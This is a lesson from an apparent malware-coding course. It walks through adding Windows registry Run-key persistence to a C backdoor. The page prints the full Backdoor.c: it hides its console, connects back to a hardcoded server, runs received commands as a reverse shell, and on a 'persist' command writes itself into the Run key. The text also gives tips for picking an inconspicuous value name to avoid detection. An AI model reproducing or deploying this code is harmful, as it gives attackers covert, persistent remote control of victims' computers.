---
title: Creating persistence
course: code_malware
section: "Adding functionalities"
layout: lesson
---

In order to add a persistence functionality to our malware, we will need to
register an entry into the Window's registry.

In there, is a registry section in which if you add a value with a program's
path, it will let the program to be executed every time the computer is
restarted. That section is located at:

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```

In that path, is where we are going to store our malware's path, in order to
execute it everytime the victim boots up their computer.

To do so, open the "Backdoor.c" file go to the "_Shell_" function and add a new
"_if_" statements so we can create a personalised command that, when sent to the
client it will add the registry value. The entire "_if/else_" statements would
look like this:

```c
if (strncmp("q", buffer, 1) == 0) {
  closesocket(sock);
  WSACleanup();
  exit(0);
} else if(strncmp("cd ", buffer, 3) == 0) {
  chdir(str_cut(buffer, 3, 100));
} else if(strncmp("persist", buffer, 7) == 0) {
  bootRun();
}
```

As you can see, I added a new comparison with the "_persist_" command, when sent
by the server, it will execute the "_bootRun_" function (which we haven't
declared yet).

Let's create an int function at the top of our code (below of _int sock;_):

```c
int bootRun() {
}
```

Why are we defining this function as an integer? Because we want to return a
value, for example, if everything executed correctly and there were no problems,
the "_bootRun_" function will return a "0", but if something went wrong, it will
return "_-1_".

Inside of the "_bootRun_" function, we will create two new variables which will
contain a message to provide an output, one of them will be a "_Success_" message,
 and the other one will contain a "_Something went wrong_" message. Add the following
code inside of your "_bootRun_" function:

```c
char err[128] = "Failed\n";
char suc[128] = "Created Persistence At: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
```

Note that in the "_suc_" variable (short of success), we are using "\\" when
printing the registry's path. Why? Because the "\" sign is usually added before
an special character, for example "\n" which represents a new line, the "\\" is
telling our program to only print the "\" character, but we need to put another
"\" before of it, otherwise the program would understand "\S", "\M", "\W", "\C",
"\R" instead of "Software", "Microsoft", "Windows", "CurrentVersion" and "Run";

Once we have created these two variables, we will need two more:

```c
TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;
```

The first one, "_szPath_" is TCHAR typed. A TCHAR variable is a Windows 32
character string UNICODE and ANSI strings. As you can see, its size is
"_MAX_PATH_" this is a constant used in Windows for specifying its maximum path
length (which is 256 characters).

The second one "_pathLen_" is DWORD typed, which means that the "_pathLen_"
variable will be an unsigned 32-bit unit of data, and it can contain an integer
value. We are assigning to it, a zero value.

The next thing we will need to do, is to use the "_pathLen_" variable and
set it as value, the return value of "_GetModuleFileName_".

```c
pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
```

This function takes three parameters:

* NULL: A handler to a module (we use NULL to retrieve the current program's path)
* szPath: The pointer of a char variable
* MAX_PATH: The char variable's size

What this function does, is to retrieve the fully-qualified path of the the file
that is passed to the function. In our case, we are getting the path of our
malware.

Now, we will need to check if everything was executed successfully, so we will
create a new if statement:

```c
if(pathLen == 0) {
  send(sock, err, sizeof(err), 0);
  return -1;
}
```

That statement checks if the "_pathLen_" value is equals to zero (which would
mean something went wrong), if so, send the value of the "_err_" variable to the
server and returns the function with a negative value.

As we are creating a registry entry, we'll need to create the registry key value
in order to successfully input our program to the registry. We can do that in C
by creating a new HKEY typed variable:

```c
HKEY NewVal;
```

The "_NewVal_" variable is just a handler to an opened registry key. Now that we
have this variable, we can create an if statement which will execute the
function "_RegOpenKey_" to open our registry key:

```c
if(RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS) {
  send(sock, err, sizeof(err), 0);
  return -1;
}
```

If the registry key couldn't be opened, the "_err_" variable value will be send
to the server and the function will return a negative value.

The "_RegOpenKey_" function takes three arguments:

* HKEY_CURRENT_USER: The part of the registry in which we are adding our key. In
  our case `HKEY_CURRENT_USER`.
* TEXT: The path inside of the registry.
* &NewVal: The memory location of our new value.

Now that we have opened up the registry, we need to set the value. First, let's
create another variable called "_pathLenInBytes_":

```c
DWORD pathLenInBytes = pathLen * sizeof(*szPath);
```

And the last thing that is left to do, is to add the value to our registry, send
the success message to the server, close the registry key and exit the function.

We can add the value to the registry by adding to our function the following
code:

```c
if (RegSetValueEx(NewVal, TEXT("Hacked"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS) {
  RegCloseKey(NewVal);
  send(sock, err, sizeof(err), 0);
  return -1;
}
```

What we are doing is to check if the registry key could be created successfuly,
if not, what is inside of the "_if_" statement is executed, the registry key is
  closed, the error message is sent to the server and the function returns -1.

The "_RegSetValueEx_" takes 6 parameters:

* NewVal: A handler to an open registry key
* TEXT("Hacked"): The name of the value to set. You can set anything (Set
  anything different to hacked if you don't want to be easily discovered)
* "0": This parameter is reserved and must be zero
* "REG_SZ": The Registry value type. "_REG_SZ_" represents a null-terminated
  string which could be either a Unicode or an ANSI string.
* (LPBYTE)szPath: The data to be stored (In our case, our malware's path)
* pathLenInBytes: The size of the path in bytes

If the creation of the new value was successful and the program didn't entered
in what is inside of the "_if_" statement. What is left to do, is to close the
registry key, send the success message to our sever and return 0.

```c
RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;
```

This is how our **Backdoor.c** file works so far:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void) memset((p), 0, (size))

int sock;

int bootRun()
{
	char err[128] = "Failed\n";
	char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
	TCHAR szPath[MAX_PATH];
	DWORD pathLen = 0;

	pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
	if (pathLen == 0) {
		send(sock, err, sizeof(err), 0);
		return -1;
	}

	HKEY NewVal;

	if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS) {
		send(sock, err, sizeof(err), 0);
		return -1;
	}
	DWORD pathLenInBytes = pathLen * sizeof(*szPath);
	if (RegSetValueEx(NewVal, TEXT("Hacked"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS) {
		RegCloseKey(NewVal);
		send(sock, err, sizeof(err), 0);
		return -1;
	}
	RegCloseKey(NewVal);
	send(sock, suc, sizeof(suc), 0);
	return 0;
}

char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
    return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
    str_len = strlen(str);
    if (abs(slice_to) > str_len - 1)
            return NULL;

    if (abs(slice_from) > str_len)
            slice_from = (-1) * str_len;

    buffer_len = slice_to - slice_from;
    str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
    str_len = strlen(str);

    if (slice_from > str_len - 1)
            return NULL;
    buffer_len = slice_to - slice_from;
    str += slice_from;

  } else
    return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}

void Shell() {
  char buffer[1024];
  char container[1024];
  char total_response[1024];

  while(1) {
    jump:
    bzero(buffer, sizeof(buffer));
    bzero(container, sizeof(container));
    bzero(total_response, sizeof(total_response));

    recv(sock, buffer, 1024, 0);

    if(strncmp("q", buffer, 1) == 0) {
      closesocket(sock);
      WSACleanup();
      exit(0);
    } else if(strncmp("cd ", buffer, 3)) {
      chdir(str_cut(buffer, 3, 100));
    } else if(strncmp("persist", buffer, 7) == 0) {
      bootRun();
    } else {
      FILE *fp;
      fp = _popen(buffer, "r");
      while(fgets(container, 1024, fp) != NULL) {
        strcat(total_response, container);
      }
      send(sock, total_response, sizeof(total_response), 0);
      fclose(fp);
    }
  }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);

    ShowWindow(stealth, 0);

    struct sockaddr_in ServAddr;
    unsigned short ServPort;
    char *ServIP;
    WSADATA wsaData;

    ServIP = "192.168.1.3";
    ServPort = 50005;

    if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
        exit(1);
    }

    sock = socket(AF_INET, SOCK_STREAM, 0);

    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(ServIP);
    ServAddr.sin_port = htons(ServPort);

start:
    while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr) != 0)) {
      Sleep(10);
      goto start;
    }

    Shell();
}
```
